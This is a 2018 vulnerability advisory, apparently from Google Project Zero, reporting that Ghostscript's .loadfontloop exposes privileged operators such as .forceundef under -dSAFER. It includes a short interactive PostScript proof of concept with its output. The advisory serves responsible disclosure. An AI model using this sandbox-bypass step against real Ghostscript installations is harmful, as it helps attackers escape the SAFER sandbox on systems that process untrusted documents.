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Ghostscript .loadfontloop Exposed System Operators

Ghostscript .loadfontloop Exposed System Operators
Posted Oct 15, 2018
Authored by Tavis Ormandy, Google Security Research

Ghostscript suffers from an issue where .loadfontloop exposes system operators in the saved execution stack.

tags | advisory
SHA-256 | f56f6e290aa802089d31f8990302cc11931c689380900d290b6f5d35582d007b

Ghostscript .loadfontloop Exposed System Operators

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ghostscript: .loadfontloop exposes system operators in saved execution stack. 




While testing the fix for <a href="/p/project-zero/issues/detail?id=1690" title="ghostscript: $error object can expose system operators in saved execution stack." class="closed_ref" rel="nofollow"> bug 1690 </a>, I found a variation that still works:

$ ./gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>systemdict /.loadfontloop get stopped == clear
true
GS>$error /estack get 27 get 18 get 14 get ==
--.forceundef--
GS>

.forceundef is bad enough, but .putgstringcopy is also in there, which is basically a wrapper around .forceput.

Filed upstream as <a href="https://bugs.ghostscript.com/show_bug.cgi?id=699938" title="" class="" rel="nofollow">https://bugs.ghostscript.com/show_bug.cgi?id=699938</a>

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: taviso

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